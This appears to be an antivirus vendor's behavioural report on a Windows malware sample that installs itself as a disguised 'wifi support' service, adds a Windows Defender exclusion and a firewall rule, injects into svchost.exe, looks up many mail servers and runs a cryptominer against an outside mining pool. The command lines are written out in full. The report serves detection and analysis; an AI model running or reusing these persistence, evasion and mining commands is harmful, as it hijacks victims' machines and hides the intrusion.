Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\gmcegimb] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\gmcegimb] 'ImagePath' = '%WINDIR%\SysWOW64\gmcegimb\kpzuoaxz.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\gmcegimb] 'ImagePath' = '%WINDIR%\SysWOW64\gmcegimb\kpzuoaxz.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\gmcegimb' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\kpzuoaxz.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\kpzuoaxz.exe to %WINDIR%\syswow64\gmcegimb\kpzuoaxz.exe
Deletes itself.
Network activity
Connects to
- 'ap#.###.#rotection.outlook.com':25
TCP
HTTP GET requests
- http://www.google.com/
HTTP POST requests
- http://wo##.###oster.info:25000/ via wo##.#-poster.info
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK ex##te.com
- DNS ASK ma#######xcite.roc2.bluetie.com
- DNS ASK ra###nsci.com
- DNS ASK mx#######102.gslb.pphosted.com
- DNS ASK na##r.com
- DNS ASK sm###.rjf.com
- DNS ASK ip##fo.io
- DNS ASK ms#####.##c.protection.outlook.com
- DNS ASK ms##.hinet.net
- DNS ASK sm####.topdns.com
- DNS ASK li##.com
- DNS ASK li######.#lc.protection.outlook.com
- DNS ASK or###email.es
- DNS ASK in#.#anadoo.es
- DNS ASK mx#.#aver.com
- DNS ASK 12##il.dk
- DNS ASK 12##il.biz
- DNS ASK ms#.com
- DNS ASK sc###inv.com
- DNS ASK ma##.##rategicos.com
- DNS ASK mx##.mb1p.com
- DNS ASK lu##ku.com
- DNS ASK google.com
- DNS ASK mx#.#uukku.com
- DNS ASK td#c.fr
- DNS ASK mx#.ovh.net
- DNS ASK sh###ield.ac.uk
- DNS ASK on#t.eu
- DNS ASK td###ardin.org
- DNS ASK 12##il.at
- DNS ASK mx##.#ohwerder.net
- DNS ASK se.#bm.com
- DNS ASK mx######b2d01.pphosted.com
- DNS ASK dp###ect.co.uk
- DNS ASK ba#######1.mail.comtec.net.uk
- DNS ASK mx.###zta.onet.pl
- DNS ASK dp####ributor.com
- DNS ASK mx#.mail.ru
- DNS ASK 12####ukisp.co.uk
- DNS ASK mx##.##tzenitmail.dk
- DNS ASK pa#####t.osul.com.br
- DNS ASK mx#.#tart.ca
- DNS ASK we#.de
- DNS ASK mx###02.web.de
- DNS ASK gm#.de
- DNS ASK mx##.#mig.gmx.net
- DNS ASK fi##.net
- DNS ASK ty###s.co.ke
- DNS ASK st##t.ca
- DNS ASK ma##.fiai.net
- DNS ASK sh#w.ca
- DNS ASK sm##.##b.shawcable.net
- DNS ASK bl#####ountyschools.net
- DNS ASK wo##.#-poster.info
- DNS ASK ya##o.co.jp
- DNS ASK mx#.###l.yahoo.co.jp
- DNS ASK ba#n.de
- DNS ASK ma######1.deutschebahn.com
- DNS ASK mx#######e01.gslb.pphosted.com
- DNS ASK ap#.###.#rotection.outlook.com
- DNS ASK mx#######.mail.am0.yahoodns.net
- DNS ASK li###lus.com
- DNS ASK mx#######c01.gslb.pphosted.com
- DNS ASK pr##t.edu
- DNS ASK ma###onkids.org
- DNS ASK 12####temail.com
- DNS ASK pa####x.above.com
- DNS ASK ex##ctra.fr
- DNS ASK ms#####p-mx2.hinet.net
- DNS ASK fi###tel.com.ar
- DNS ASK mx#.##bertel.com.ar
- DNS ASK sh####zlondon.com
- DNS ASK in######.messagingengine.com
- DNS ASK ty#####hilddaycare.com
- DNS ASK cp###arm.net
- DNS ASK li##.com.au
- DNS ASK ed###o.cofc.edu
- DNS ASK os##.com.br
- DNS ASK 12##il.org
- DNS ASK ma#l.ru
- DNS ASK ma####rward.lcn.com
- DNS ASK ta####cingdog.co.uk
- DNS ASK mx#.#omcast.net
- DNS ASK uk##-j.com
- DNS ASK de###tte.com
- DNS ASK mx#.###oitte.iphmx.com
- DNS ASK in###act.cbc.ca
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK li#e.it
- DNS ASK co##ast.net
- DNS ASK mx#.##ailsrvr.com
- DNS ASK ac#.#yerson.ca
- DNS ASK la###india.com
- DNS ASK ge###ate.com
- DNS ASK aspmx.l.google.com
- DNS ASK un#.ca
- DNS ASK ad#####dfuels.com.au
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK df####maeci.gc.ca
- DNS ASK 12##aw.com
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK ya##o.com
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK ho##ail.com
- DNS ASK mi####.bittubeapp.com
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK br####allery.com.ar
- DNS ASK ma###.eircom.net
- DNS ASK ms#.#inet.net
- DNS ASK ms#####p-mx1.hinet.net
- DNS ASK ho##ail.fr
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK ya##o.fr
- DNS ASK un####.###l.protection.outlook.com
- DNS ASK ei##om.net
- DNS ASK do####untycoop.com
- DNS ASK as#.##flexion.net
- DNS ASK do###########p.com.pri-mx.na0101.smtproutes.com
- DNS ASK ul###irekt.net
- DNS ASK mx.##l.com.br
- DNS ASK cd#.ca
- DNS ASK 12#.dk
- DNS ASK mx#.###.#ailpod1-cph3.one.com
- DNS ASK ca###oberts.com
- DNS ASK br##e.net
- DNS ASK no#.####.domain.brose.net
- DNS ASK dp###oup.co.uk
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK li#e.de
- DNS ASK pe###dical.ca
- DNS ASK ns#.###webhosting.ca
- DNS ASK ta###-usa.com
- DNS ASK pr##us.ca
- DNS ASK pr####.##.mx1-na.mailanyone.net
- DNS ASK ma##.#asariso.com
- DNS ASK 12##l.com
- DNS ASK uo#.com.br
- DNS ASK sl#.edu
- DNS ASK br##ht.net
- DNS ASK ro##rs.com
- DNS ASK do######ertyservices.com
- DNS ASK mx##.###lspamprotection.com
- DNS ASK sp###net.net
- DNS ASK mx#.##arq.net.tw
- DNS ASK sa##en.com
- DNS ASK sm####.rilinfo.net
- DNS ASK ca###es.gov.ar
- DNS ASK mx#.##avis99.com
- DNS ASK sp###tcheer.com
- DNS ASK nm###98.bnr.ca
- DNS ASK ca##res.net
- DNS ASK ma##.#ominalia.com
- DNS ASK 12#4.dk
- DNS ASK mx#.###.#ailpod3-cph3.one.com
- DNS ASK ca#####go-guerra.com
- DNS ASK mx.####iciodecorreo.es
- DNS ASK sm##.##cureserver.net
- DNS ASK ca###iso.com
- DNS ASK iw####.cniteam.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\gmcegimb\kpzuoaxz.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\gmcegimb\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\kpzuoaxz.exe" %WINDIR%\SysWOW64\gmcegimb\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create gmcegimb binPath= "%WINDIR%\SysWOW64\gmcegimb\kpzuoaxz.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description gmcegimb "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start gmcegimb' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\gmcegimb\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\kpzuoaxz.exe" %WINDIR%\SysWOW64\gmcegimb\
- '%WINDIR%\syswow64\sc.exe' create gmcegimb binPath= "%WINDIR%\SysWOW64\gmcegimb\kpzuoaxz.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description gmcegimb "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start gmcegimb
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs3SR4afw4CJsq2dWvisbAWdDfFLcj88bav7nt1bjojpjUVedMEXXXcPiB27hV3RJMVmSBdfq4vs6PHDcG5uTSoj2oiWF2UKB.70000 -p x -k